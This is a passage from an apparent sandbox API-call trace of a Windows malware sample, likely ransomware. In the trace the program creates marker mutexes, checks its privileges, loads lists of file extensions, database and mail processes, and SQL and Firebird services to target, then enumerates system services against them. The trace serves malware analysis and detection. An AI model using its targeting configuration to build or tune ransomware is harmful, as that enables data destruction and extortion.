lpProcName="WNetOpenEnumW") returned 0x73e92790 [0249.558] GetProcAddress (hModule=0x73e90000, lpProcName="WNetEnumResourceW") returned 0x73e92410 [0249.558] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75ea0000 [0249.597] GetProcAddress (hModule=0x75ea0000, lpProcName="WSAStartup") returned 0x75ea5b40 [0249.597] GetProcAddress (hModule=0x75ea0000, lpProcName="socket") returned 0x75eb4510 [0249.597] GetProcAddress (hModule=0x75ea0000, lpProcName="send") returned 0x75ea5030 [0249.597] GetProcAddress (hModule=0x75ea0000, lpProcName="recv") returned 0x75eb0c50 [0249.598] GetProcAddress (hModule=0x75ea0000, lpProcName="connect") returned 0x75ea5410 [0249.598] GetProcAddress (hModule=0x75ea0000, lpProcName="closesocket") returned 0x75eb0910 [0249.598] GetProcAddress (hModule=0x75ea0000, lpProcName="gethostbyname") returned 0x75ed6cb0 [0249.598] GetProcAddress (hModule=0x75ea0000, lpProcName="inet_addr") returned 0x75eb9160 [0249.598] GetProcAddress (hModule=0x75ea0000, lpProcName="ntohl") returned 0x75ea49d0 [0249.598] GetProcAddress (hModule=0x75ea0000, lpProcName="htonl") returned 0x75ea49d0 [0249.598] GetProcAddress (hModule=0x75ea0000, lpProcName="htons") returned 0x75eb8ff0 [0249.598] GetProcessHeap () returned 0x640000 [0249.598] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x64c208 [0249.598] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=6019510839) returned 1 [0249.598] GetTickCount () returned 0xeb0b [0249.598] GetCurrentProcessId () returned 0xd14 [0249.600] GetTickCount () returned 0xeb0b [0249.600] GetTickCount () returned 0xeb0b [0249.600] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x64c230 [0249.600] GetVersion () returned 0x23f00206 [0249.600] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7) returned 0x657f18 [0249.600] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x658cc8 [0249.600] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x658cc8, Size=0x20) returned 0x64c258 [0249.600] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x64c258, Size=0x40) returned 0x65f3d8 [0249.600] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x660050 [0249.600] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_987AS6A") returned 0x0 [0249.600] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_987AS6A") returned 0x1ec [0249.600] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x657f18 | out: hHeap=0x640000) returned 1 [0249.601] lstrlenW (lpString="Global\\syncronize_") returned 18 [0249.601] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x65f3d8 | out: hHeap=0x640000) returned 1 [0249.601] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7) returned 0x657e58 [0249.601] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x658c50 [0249.601] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x658c50, Size=0x20) returned 0x64c258 [0249.601] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x64c258, Size=0x40) returned 0x65f4b0 [0249.601] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x670058 [0249.601] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_987AS6U") returned 0x0 [0249.601] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_987AS6U") returned 0x1f0 [0249.601] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x657e58 | out: hHeap=0x640000) returned 1 [0249.601] lstrlenW (lpString="Global\\syncronize_") returned 18 [0249.601] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x65f4b0 | out: hHeap=0x640000) returned 1 [0249.601] GetVersion () returned 0x23f00206 [0249.601] GetCurrentProcess () returned 0xffffffff [0249.601] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0249.601] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0249.601] CloseHandle (hObject=0x1f4) returned 1 [0249.601] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0249.601] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x14) returned 0x656440 [0249.601] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x658c80 [0249.601] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x658c80, Size=0x20) returned 0x64c258 [0249.601] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x64c258, Size=0x40) returned 0x65f6a8 [0249.601] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x65f6a8, Size=0x80) returned 0x653508 [0249.601] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x653508, Size=0x100) returned 0x658768 [0249.601] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x34) returned 0x65b010 [0249.601] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x4) returned 0x657e58 [0249.601] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x4) returned 0x657e68 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x657f18 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x658c98 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x4) returned 0x657f28 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x658cc8 [0249.602] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x657f28, Size=0x8) returned 0x657f58 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x658ce0 [0249.602] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x657f58, Size=0x10) returned 0x658cb0 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x658c80 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x658c68 [0249.602] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x658cb0, Size=0x20) returned 0x64c258 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x658cf8 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x658c50 [0249.602] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x657e58, Size=0x8) returned 0x657f28 [0249.602] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x657e68, Size=0x8) returned 0x657f58 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x657d98 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x658cb0 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x4) returned 0x657e58 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x658c38 [0249.602] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x657e58, Size=0x8) returned 0x657dd8 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x680210 [0249.602] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x657dd8, Size=0x10) returned 0x680330 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6802e8 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x657e58 [0249.602] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680330, Size=0x20) returned 0x680600 [0249.602] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x657f28, Size=0x10) returned 0x680378 [0249.602] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x657f58, Size=0x10) returned 0x680330 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x657f28 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x680228 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x4) returned 0x657f58 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x680168 [0249.602] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x657f58, Size=0x8) returned 0x657e68 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x657f58 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x680240 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x4) returned 0x657dd8 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6801f8 [0249.602] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x657dd8, Size=0x8) returned 0x680e70 [0249.602] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680378, Size=0x20) returned 0x680948 [0249.602] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680330, Size=0x20) returned 0x680678 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680e60 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x680180 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x4) returned 0x680e80 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x680348 [0249.602] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680e80, Size=0x8) returned 0x680cb0 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x14) returned 0x656320 [0249.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x14) returned 0x656480 [0249.603] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0249.603] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x658768 | out: hHeap=0x640000) returned 1 [0249.603] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0249.606] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x680120 [0249.606] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680120, Size=0x20) returned 0x6808f8 [0249.606] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6808f8, Size=0x40) returned 0x65f5d0 [0249.606] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x65f5d0, Size=0x80) returned 0x6587d0 [0249.606] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6587d0, Size=0x100) returned 0x658d10 [0249.606] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6801b0 [0249.606] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6801b0, Size=0x20) returned 0x6808a8 [0249.606] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6808a8, Size=0x40) returned 0x65fd20 [0249.606] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x65fd20, Size=0x80) returned 0x686740 [0249.607] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x686740, Size=0x100) returned 0x686b70 [0249.607] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x680198 [0249.607] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x4) returned 0x680e90 [0249.607] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x680258 [0249.607] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680e90, Size=0x8) returned 0x680d60 [0249.607] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x14) returned 0x656540 [0249.607] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680d60, Size=0x10) returned 0x6801e0 [0249.607] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x18) returned 0x656500 [0249.607] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1a) returned 0x6808a8 [0249.607] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6801e0, Size=0x20) returned 0x6805b0 [0249.607] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c) returned 0x6808d0 [0249.607] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x16) returned 0x6563c0 [0249.607] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1a) returned 0x6804e8 [0249.607] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6800a8 [0249.607] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x4) returned 0x680d20 [0249.607] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x65f7c8 [0249.607] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680d20, Size=0x8) returned 0x680e90 [0249.607] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x3c) returned 0x65f5d0 [0249.607] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680e90, Size=0x10) returned 0x680270 [0249.607] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x14) returned 0x6563e0 [0249.607] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x18) returned 0x6564c0 [0249.607] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680270, Size=0x20) returned 0x680560 [0249.607] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x24) returned 0x657260 [0249.607] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0249.607] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x658d10 | out: hHeap=0x640000) returned 1 [0249.607] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0249.607] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x686b70 | out: hHeap=0x640000) returned 1 [0249.607] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x680628 [0249.672] EnumServicesStatusExW (in: hSCManager=0x680628, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0249.675] GetLastError () returned 0xea [0249.675] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1b4e) returned 0x689148 [0249.676] EnumServicesStatusExW (in: hSCManager=0x680628, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x689148, cbBufSize=0x1b4e, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x689148, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0249.676] CloseServiceHandle (hSCObject=0x680628) returned 1 [0249.677] lstrlenW (lpString="AppXSvc") returned 7 [0249.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0249.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0249.697] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0249.697] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0249.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0249.697] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0249.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0249.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0249.697] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0249.697] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0249.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0249.697] lstrlenW (lpString="Audiosrv") returned 8 [0249.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0249.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0249.697] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0249.697] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0249.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0249.697] lstrlenW (lpString="BFE") returned 3 [0249.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0249.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0249.697] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0249.697] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0249.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0249.697] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0249.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0249.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0249.697] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0249.698] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0249.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0249.698] lstrlenW (lpString="CDPSvc") returned 6 [0249.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0249.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0249.698] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0249.698] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0249.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0249.698] lstrlenW (lpString="ClickToRunSvc") returned 13 [0249.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0249.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0249.698] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0249.698] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0249.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0249.698] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0249.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0249.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0249.698] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0249.698] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0249.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0249.698] lstrlenW (lpString="CryptSvc") returned 8 [0249.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0249.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0249.698] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0249.698] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0249.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0249.698] lstrlenW (lpString="DcomLaunch") returned 10 [0249.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0249.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0249.698] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0249.698] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0249.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0249.698] lstrlenW (lpString="DeviceAssociationService") returned 24 [0249.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0249.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0249.698] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0249.698] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0249.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0249.698] lstrlenW (lpString="Dhcp") returned 4 [0249.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0249.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0249.699] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0249.699] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0249.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0249.699] lstrlenW (lpString="Dnscache") returned 8 [0249.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0249.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0249.699] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0249.699] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0249.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0249.699] lstrlenW (lpString="DPS") returned 3 [0249.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0249.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0249.699] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0249.699] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0249.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0249.699] lstrlenW (lpString="DusmSvc") returned 7 [0249.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0249.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0249.699] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0249.699] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0249.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0249.699] lstrlenW (lpString="EventLog") returned 8 [0249.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0249.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0249.699] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0249.699] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0249.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0249.699] lstrlenW (lpString="EventSystem") returned 11 [0249.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0249.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0249.699] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0249.699] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0249.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0249.699] lstrlenW (lpString="FontCache") returned 9 [0249.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0249.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0249.699] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0249.699] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0249.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0249.699] lstrlenW (lpString="gpsvc") returned 5 [0249.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0249.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0249.700] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0249.700] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0249.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0249.700] lstrlenW (lpString="iphlpsvc") returned 8 [0249.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0249.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0249.700] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0249.700] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0249.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0249.700] lstrlenW (lpString="KeyIso") returned 6 [0249.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0249.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0249.700] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0249.700] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0249.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0249.700] lstrlenW (lpString="LanmanServer") returned 12 [0249.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0249.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0249.700] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0249.700] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0249.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0249.700] lstrlenW (lpString="LanmanWorkstation") returned 17 [0249.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0249.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0249.700] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0249.700] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0249.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0249.700] lstrlenW (lpString="lfsvc") returned 5 [0249.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0249.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0249.700] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0249.700] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0249.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0249.700] lstrlenW (lpString="lmhosts") returned 7 [0249.700] 